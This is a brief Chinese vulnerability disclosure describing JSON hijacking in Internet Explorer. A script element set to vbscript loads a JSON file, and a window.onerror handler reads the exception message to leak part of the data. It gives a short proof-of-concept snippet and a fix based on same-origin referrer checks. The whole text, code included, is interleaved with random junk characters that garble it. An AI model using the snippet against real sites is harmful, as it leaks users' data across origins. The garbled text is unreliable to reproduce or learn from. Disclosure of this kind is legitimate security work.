简要描述:/ d/ R2 f4 R" d; g
. Q# e% T* d$ ?% v1 T由于某些资源容器对数据处理不当导致json劫持漏洞. b) u6 Q2 a6 |( j6 o8 U
详细说明:0 j2 j' q/ b; ^) w
由于ie支持vbscript,所以script元素可以指定成vbscript语言:6 F# n0 L' }2 l3 E `5 @
<script language=vbscript></script>
: p( |" ?7 S- a; _# i. v
( C& y W2 x7 b% @+ B8 z当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.4 q" K7 H) n( n# {+ T
漏洞证明:0 a/ s; D+ E4 W
<script>
7 b1 v4 e% G' u- r( f2 Y3 R' Dwindow.onerror=function(_){9 E' T. }5 G0 o) f Z8 A$ N4 L% W8 s
alert(_)
! ~6 a6 Z( n6 ]3 a}1 @: ^# ]" H, p3 r& R% x% f
</script>
$ X8 b; P, y3 o$ Q4 i5 ?<script language=vbscript src=1.json></script>
6 |& C, I2 k. [9 t I) {
' L) `: j8 t5 c0 R- C: Y( a+ _$ s
) [* ~% q3 x9 s& C2 Z% ~0 i1.json:
+ T/ C0 T# G3 m' t* {* s[{"name":"sogili","age":19}]0 g. s4 @) }9 j/ c/ ?- l
修复方案:
( n& m3 b2 M. ]3 n, x网站业务对于这个问题可以通过验证referrer是否为同源来防御 |